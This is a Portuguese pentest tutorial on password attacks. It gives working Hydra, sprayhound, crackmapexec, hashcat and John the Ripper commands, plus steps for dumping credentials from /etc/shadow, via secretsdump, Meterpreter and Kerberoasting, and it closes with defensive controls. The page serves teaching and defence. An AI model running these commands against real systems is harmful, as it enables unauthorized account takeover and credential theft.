Avançado Pentest e Ofensiva

Password attacks — brute force, hash cracking (hashcat), password spray

Senhas fracas continuam sendo o vetor de entrada mais comum. Entender como funcionam os ataques a senhas permite criar políticas e controles eficazes.

Tipos de ataque a senha

Brute force:     testa todas as combinações possíveis (lento, garantido)
Dictionary:      testa palavras de uma wordlist (rápido, cobre casos comuns)
Rule-based:      aplica transformações na wordlist (password → P@ssw0rd)
Password spray:  uma senha fraca contra muitos usuários (evita lockout)
Credential stuffing: usa pares usuário:senha de breaches anteriores
Hash cracking:   quebra hashes offline (sem alvo, sem bloqueio)

Wordlists essenciais

# RockYou — 14 milhões de senhas reais de breach
/usr/share/wordlists/rockyou.txt

# SecLists — coleção abrangente
/usr/share/seclists/Passwords/
/usr/share/seclists/Usernames/

# Gerar wordlist customizada com cewl (termos do site do alvo)
cewl https://example.com -m 5 -d 2 -w custom_wordlist.txt

Hydra — brute force online

# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10

# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.10 http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

# FTP com lista de usuários
hydra -L users.txt -P passwords.txt ftp://192.168.1.10

# RDP
hydra -l administrator -P passwords.txt rdp://192.168.1.10 -t 4

# Limitando threads para evitar lockout
hydra -l admin -P passwords.txt ssh://192.168.1.10 -t 2 -W 3

Password Spray — evitar lockout de conta

Estratégia: uma senha por vez, contra todos os usuários. Evita threshold de lockout (ex: 5 tentativas erradas → bloqueio).

# Spray em serviços web
sprayhound -U users.txt -p "Winter2024!" --dc 192.168.1.10

# Spray em SMB/Active Directory
crackmapexec smb 192.168.1.10 -u users.txt -p "Senha@2024" --continue-on-success

# Senhas comuns para spray:
  Estação+Ano:  Spring2024, Summer2024, Winter2024
  Empresa+123:  ExampleCorp123, Example@1
  Padrão comum: Welcome1, Password1, Changeme1

Hashcat — cracking offline de hashes

# Identificar tipo de hash
hashid '$2y$10$...'      # bcrypt
hashid '5f4dcc3b5aa765d61d8327deb882cf99'  # MD5

# Modos comuns do hashcat (-m):
  0    = MD5
  100  = SHA-1
  1000 = NTLM (Windows)
  1800 = sha512crypt (Linux /etc/shadow)
  3200 = bcrypt
  13100 = Kerberoast (TGS-REP)

# Dictionary attack
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Rule-based attack (melhor custo-benefício)
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Brute force por máscara (8 chars, letra+número)
hashcat -m 1000 hashes.txt -a 3 ?l?l?l?l?d?d?d?d

# Máscaras:
  ?l = minúscula (a-z)
  ?u = maiúscula (A-Z)
  ?d = dígito (0-9)
  ?s = especial
  ?a = todos os anteriores

Como obter hashes para cracking

# Windows — dump local (requer admin/SYSTEM)
# Meterpreter: hashdump
# Impacket (remoto, credencial de admin):
impacket-secretsdump administrator:senha@192.168.1.10

# Linux — arquivo shadow (requer root)
cat /etc/shadow
  root:$6$salt$hash...:18000:0:99999:7:::

# Hash NTLM de memória (LSASS) — exemplo educacional
# Meterpreter: run post/windows/gather/smart_hashdump

# Kerberoasting — SPNs no AD
impacket-GetUserSPNs -dc-ip 192.168.1.10 example.local/user:senha -outputfile hashes_kerb.txt
hashcat -m 13100 hashes_kerb.txt rockyou.txt

John the Ripper — alternativa ao hashcat

# Cracking simples
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Com formato específico
john --format=NT hashes.txt --wordlist=rockyou.txt

# Combinar /etc/passwd e /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=rockyou.txt

Defesa contra ataques de senha

Contra brute force online:
  → Account lockout após N tentativas
  → Rate limiting por IP
  → MFA obrigatório
  → CAPTCHA em formulários públicos
  → Monitorar tentativas falhas no SIEM

Contra password spray:
  → Alertar quando mesmo IP tenta múltiplos usuários
  → Política de senha forte (mín. 12 chars, complexidade)
  → Smart lockout (Azure AD, Okta)

Contra hash cracking:
  → bcrypt, Argon2 ou scrypt — jamais MD5 ou SHA-1 para senhas
  → Salt único por usuário
  → Pepper no servidor (segredo adicional)

Senha forte + MFA elimina a maioria desses vetores. A defesa começa na política, não na detecção.